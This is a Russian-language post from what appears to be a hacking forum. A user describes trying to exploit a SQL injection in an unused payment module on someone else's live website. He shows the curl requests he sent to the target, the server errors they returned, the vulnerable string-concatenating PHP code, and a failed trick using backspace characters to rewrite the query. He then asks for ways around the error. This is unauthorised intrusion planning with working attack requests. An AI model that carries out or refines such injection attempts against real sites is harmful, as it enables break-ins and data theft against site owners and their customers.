• XSS.stack #1 – первый литературный журнал от юзеров форума

PHP+SQLi: реально ли затереть с помощью \b в JSON что-то в statement слева от injected параметра?

zdestuta

(L1) cache
Пользователь
Регистрация
04.06.2024
Сообщения
749
Реакции
373
Наткнулся на один сайтик интересный, захотел поломать, да вот беда: модуль сам есть но не подключен и нет соответствующей таблицы!
И соответственно SELECT * FROM `несуществующая_таблица` WHERE order_id=тут_то_что_можно_заинжектить разумеется падает безо всякой мне пользы.

Так как таблицы нет, то даже отправляя "штатный" запрос:
Код:
curl -v -X POST -d'{"status": true, "metadata":{"order_id":"1"}}' https://домен.таргета/index.php?route=extension/payment/имямодуля/update

Получаю ответ типа:
Код:
<b>Warning</b>: mysqli::query(): (42S02/1146): Table 'несуществующая_таблица' doesn't exist in <b>/home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php</b> on line <b>25</b><br />
<b>Fatal error</b>:  Uncaught Exception: Error: Table 'несуществующая_таблица' doesn't exist&lt;br /&gt;Error No: 1146&lt;br /&gt;SELECT * FROM `несуществующая_таблица` WHERE `order_id` = 1 in /home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php:49

Ну думаю ща я быстренько бэкспейсами \b (он же \0008) затру SQL в строке слева и делаю запрос:
Код:
curl -v -X POST -d'{"status": true, "metadata":{"order_id":"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\bсуществующая_таблица`"}}'  \
https://домен.таргета/index.php?route=extension/payment/имямодуля/update

Но не тут то было! Выдаёт вот это вот (обратите внимание, что SQL запрос вроде стал выглядеть правильно):
Код:
<b>Warning</b>: mysqli::query(): (42000/1064): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near
'\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008существующая_таблица'
at line 1 in <b>/home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php</b> on line <b>25</b><br />
<b>Fatal error</b>:  Uncaught Exception: Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near
'\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008существующая_таблица'
at line 1&lt;br /&gt;Error No: 1064&lt;br /&gt;SELECT * FROM `существующая_таблица` in /home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php:49

SQLi там 100пудово есть, код я смотрел (продукт опенсурцный) и там прям явная скуля из-за тупой конкатенации строк.

Реально ли как-то "переписать историю" , поменяв в строке SQL запрос слева от инжектируемого параметра?
Или может ещё как-то можно обойти (наоборот дополнив) чтобы ошибку не выдавало из-за несуществующей таблицы?
 
Последнее редактирование:
Нашёл вот это вот https://stackoverflow.com/questions/1440011/php-backspace-character-during-output-possible
Смысл там вкратце: PHP при обработке строк воспринимает 0x08 (backspace) , то есть код:
echo 'ab' . chr(8);
напечатает только "a"

Атакуемый код на таргете примерно такой:
Код:
  public function уязвимаяФункция($order_id) {
    return $this->db->query("SELECT * FROM `" . DB_PREFIX . "несуществующая_таблица` WHERE `order_id` = " . $order_id);
  }

Как видим $order_id тупо конкатенируется со строкой слева перед передачей в $this->db->query(тут_строка_предобработанная_PHP)

Не понятно в связи с этим откуда mysqli::query() ругается на \0008\0008\... тогда как вообще их получить на вход не должно по идее, а должно получить готовую собранную PHP строку уже.

Вопрос знатокам PHP :)
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх